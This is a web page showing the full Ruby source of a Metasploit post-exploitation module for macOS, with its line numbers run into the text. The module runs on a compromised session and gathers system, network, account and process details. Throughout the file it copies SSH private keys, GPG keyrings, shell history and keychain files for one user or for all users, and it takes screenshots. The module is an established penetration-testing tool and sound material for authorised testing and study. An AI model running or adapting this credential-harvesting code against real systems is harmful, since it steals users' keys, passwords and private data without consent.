Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/enum_osx.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::OSX::Priv8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'OS X Gather Mac OS X System Information Enumeration',15'Description' => %q{16This module gathers basic system information from Mac OS X Tiger (10.4), through17Mojave (10.14).18},19'License' => MSF_LICENSE,20'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],21'Platform' => [ 'osx' ],22'SessionTypes' => [ 'meterpreter', 'shell' ]23)24)25end2627# Run Method for when run command is issued28def run29case session.type30when /meterpreter/31host = sysinfo['Computer']32when /shell/33host = cmd_exec('hostname')34end35print_status("Running module against #{host}")36if is_root?37print_status('This session is running as root!')38end3940ver_num = get_ver41log_folder = log_folder_create42enum_conf(log_folder)43enum_accounts(log_folder, ver_num)44get_crypto_keys(log_folder)45screenshot(log_folder, ver_num)46dump_bash_history(log_folder)47get_keychains(log_folder)48end4950# parse the dslocal plist in lion51def read_ds_xml_plist(plist_content)52require 'rexml/document'5354doc = REXML::Document.new(plist_content)55keys = []5657doc.elements.each('plist/dict/key') do |element|58keys << element.text59end6061fields = {}62i = 063doc.elements.each('plist/dict/array') do |element|64data = []65fields[keys[i]] = data66element.each_element('*') do |thing|67data_set = thing.text68if data_set69data << data_set.gsub("\n\t\t", '')70else71data << data_set72end73end74i += 175end76return fields77end7879# Function for creating the folder for gathered data80def log_folder_create(log_path = nil)81# Get hostname82case session.type83when /meterpreter/84host = Rex::FileUtils.clean_path(sysinfo['Computer'])85when /shell/86host = Rex::FileUtils.clean_path(cmd_exec('hostname'))87end8889# Create Filename info to be appended to downloaded files90file_name_info = '_' + ::Time.now.strftime('%Y%m%d.%M%S')9192# Create a directory for the logs93if log_path94logs = ::File.join(log_path, 'logs', 'enum_osx', host + file_name_info)95else96logs = ::File.join(Msf::Config.log_directory, 'post', 'enum_osx', host + file_name_info)97end9899# Create the log directory100::FileUtils.mkdir_p(logs)101return logs102end103104# Checks if the target is OSX Server105def check_server106# Get the OS Name107cmd_exec('/usr/bin/sw_vers', '-productName') =~ /Server/108end109110# Enumerate the OS Version111def get_ver112# Get the OS Version113cmd_exec('/usr/bin/sw_vers', '-productVersion')114end115116def enum_conf(log_folder)117profile_datatypes = {118'OS' => 'SPSoftwareDataType',119'Network' => 'SPNetworkDataType',120'Bluetooth' => 'SPBluetoothDataType',121'Ethernet' => 'SPEthernetDataType',122'Printers' => 'SPPrintersDataType',123'USB' => 'SPUSBDataType',124'Airport' => 'SPAirPortDataType',125'Firewall' => 'SPFirewallDataType',126'Known Networks' => 'SPNetworkLocationDataType',127'Applications' => 'SPApplicationsDataType',128'Development Tools' => 'SPDeveloperToolsDataType',129'Frameworks' => 'SPFrameworksDataType',130'Logs' => 'SPLogsDataType',131'Preference Panes' => 'SPPrefPaneDataType',132'StartUp' => 'SPStartupItemDataType'133}134135shell_commands = {136'TCP Connections' => ['/usr/sbin/netstat', '-np tcp'],137'UDP Connections' => ['/usr/sbin/netstat', '-np udp'],138'Environment Variables' => ['/usr/bin/printenv', ''],139'Last Boottime' => ['/usr/bin/who', '-b'],140'Current Activity' => ['/usr/bin/who', ''],141'Process List' => ['/bin/ps', '-ea']142}143144print_status("Saving all data to #{log_folder}")145146# Enumerate first using System Profiler147profile_datatypes.each do |name, profile_datatypes|148print_status("\tEnumerating #{name}")149returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")150# Save data lo log folder151file_local_write(log_folder + "//#{name}.txt", returned_data)152end153154# Enumerate using system commands155shell_commands.each do |name, command|156print_status("\tEnumerating #{name}")157command_output = cmd_exec(command[0], command[1])158# Save data lo log folder159begin160file_local_write(log_folder + "//#{name}.txt", command_output)161rescue StandardError162print_error("failed to run #{name}")163end164end165end166167def enum_accounts(log_folder, ver_num)168# Specific commands for Leopard and Snow Leopard169leopard_commands = {170'Users' => ['/usr/bin/dscacheutil', '-q user'],171'Groups' => ['/usr/bin/dscacheutil', '-q group']172}173174# Specific commands for Tiger175tiger_commands = {176'Users' => ['/usr/sbin/lookupd', '-q user'],177'Groups' => ['/usr/sbin/lookupd', '-q group']178}179180if ver_num =~ /10\.(7|6|5)/181shell_commands = leopard_commands182else183shell_commands = tiger_commands184end185shell_commands.each do |name, command|186print_status("\tEnumerating #{name}")187command_output = cmd_exec(command[0], command[1])188# Save data lo log folder189file_local_write(log_folder + "//#{name}.txt", command_output)190end191end192193# Method for getting SSH and GPG Keys194def get_crypto_keys(log_folder)195# Run commands according to the session type196if session.type =~ /shell/197198# Enumerate and retreave files according to privilege level199if !is_root?200201# Enumerate the home folder content202home_folder_list = cmd_exec('/bin/ls -ma ~/').split(', ')203204# Check for SSH folder and extract keys if found205if home_folder_list.include?("\.ssh")206print_status('.ssh Folder is present')207ssh_folder = cmd_exec('/bin/ls -ma ~/.ssh').split(', ')208ssh_folder.each do |k|209next if k =~ /^\.$|^\.\.$/210211print_status("\tDownloading #{k.strip}")212ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")213214# Save data lo log folder215file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)216end217end218219# Check for GPG and extract keys if found220if home_folder_list.include?("\.gnupg")221print_status('.gnupg Folder is present')222gnugpg_folder = cmd_exec('/bin/ls -ma ~/.gnupg').split(', ')223gnugpg_folder.each do |k|224next if k =~ /^\.$|^\.\.$/225226print_status("\tDownloading #{k.strip}")227gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}")228229# Save data lo log folder230file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", gpg_file_content)231end232end233else234users = []235users_folder = cmd_exec('/bin/ls', '/Users')236users_folder.each_line do |u|237next if u.chomp =~ /Shared|\.localized/238239users << u.chomp240end241242users.each do |u|243user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')244next unless user_folder.include?("\.ssh")245246print_status(".ssh Folder is present for #{u}")247ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(', ')248ssh_folder.each do |k|249next if k =~ /^\.$|^\.\.$/250251print_status("\tDownloading #{k.strip}")252ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}")253254# Save data lo log folder255file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)256end257end258259users.each do |u|260user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')261next unless user_folder.include?("\.ssh")262263print_status(".gnupg Folder is present for #{u}")264ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(', ')265ssh_folder.each do |k|266next if k =~ /^\.$|^\.\.$/267268print_status("\tDownloading #{k.strip}")269ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}")270271# Save data lo log folder272file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)273end274end275end276end277end278279# Method for capturing screenshot of targets280def screenshot(log_folder, ver_num)281if ver_num =~ /10\.(7|6|5)/282print_status('Capturing screenshot')283picture_name = ::Time.now.strftime('%Y%m%d.%M%S')284if is_root?285print_status('Capturing screenshot for each loginwindow process since privilege is root')286if session.type =~ /shell/287loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")288loginwindow_pids.each do |pid|289print_status("\tCapturing for PID:#{pid}")290cmd_exec("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")291file_local_write(log_folder + "//screenshot_#{pid}.jpg",292cmd_exec("/bin/cat /tmp/#{pid}.jpg"))293cmd_exec("/usr/bin/srm -m -z /tmp/#{pid}.jpg")294end295end296else297cmd_exec('/usr/sbin/screencapture', "-x /tmp/#{picture_name}.jpg")298file_local_write(log_folder + '//screenshot.jpg',299cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))300cmd_exec('/usr/bin/srm', "-m -z /tmp/#{picture_name}.jpg")301end302print_status('Screenshot Captured')303end304end305306def dump_bash_history(log_folder)307print_status('Extracting history files')308users = []309users_folder = cmd_exec('/bin/ls', '/Users')310current_user = cmd_exec('/usr/bin/id', '-nu')311users_folder.each_line do |u|312next if u.chomp =~ /Shared|\.localized/313314users << u.chomp315end316317# If we are root lets get root for when sudo was used and all users318if current_user == 'root'319320# Check the root user folder321root_folder = cmd_exec('/bin/ls -ma ~/').split(', ')322root_folder.each do |f|323next unless f =~ /\.\w*_history/324325print_status("\tHistory file #{f.strip} found for root")326print_status("\tDownloading #{f.strip}")327sh_file = cmd_exec("/bin/cat ~/#{f.strip}")328329# Save data lo log folder330file_local_write(log_folder + "//root_#{f.strip}.txt", sh_file)331end332333# Getting the history files for all users334users.each do |u|335# Lets get a list of all the files on the users folder and place them in an array336user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')337user_folder.each do |f|338next unless f =~ /\.\w*_history/339340print_status("\tHistory file #{f.strip} found for #{u}")341print_status("\tDownloading #{f.strip}")342sh_file = cmd_exec("/bin/cat /Users/#{u}/#{f.strip}")343344# Save data lo log folder345file_local_write(log_folder + "//#{u}_#{f.strip}.txt", sh_file)346end347end348349else350current_user_folder = cmd_exec('/bin/ls -ma ~/').split(', ')351current_user_folder.each do |f|352next unless f =~ /\.\w*_history/353354print_status("\tHistory file #{f.strip} found for #{current_user}")355print_status("\tDownloading #{f.strip}")356sh_file = cmd_exec("/bin/cat ~/#{f.strip}")357358# Save data lo log folder359file_local_write(log_folder + "//#{current_user}_#{f.strip}.txt", sh_file)360end361end362end363364# Download configured Keychains365def get_keychains(log_folder)366users = []367users_folder = cmd_exec('/bin/ls', '/Users')368users_folder.each_line do |u|369next if u.chomp =~ /Shared|\.localized/370371users << u.chomp372end373if is_root?374users.each do |u|375print_status("Enumerating and Downloading keychains for #{u}")376keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")377keychain_files.each do |k|378keychain_file = cmd_exec("/bin/cat #{k.strip}")379380# Save data lo log folder381file_local_write(log_folder + "//#{u}#{k.strip.gsub(/\W/, '_')}", keychain_file)382end383end384else385current_user = cmd_exec('/usr/bin/id -nu')386print_status("Enumerating and Downloading keychains for #{current_user}")387keychain_files = cmd_exec('/usr/bin/security list-keychains').split("\n")388keychain_files.each do |k|389keychain_file = cmd_exec("/bin/cat #{k.strip}")390391# Save data lo log folder392file_local_write(log_folder + "//#{current_user}#{k.strip.gsub(/\W/, '_')}", keychain_file)393end394end395end396end397398399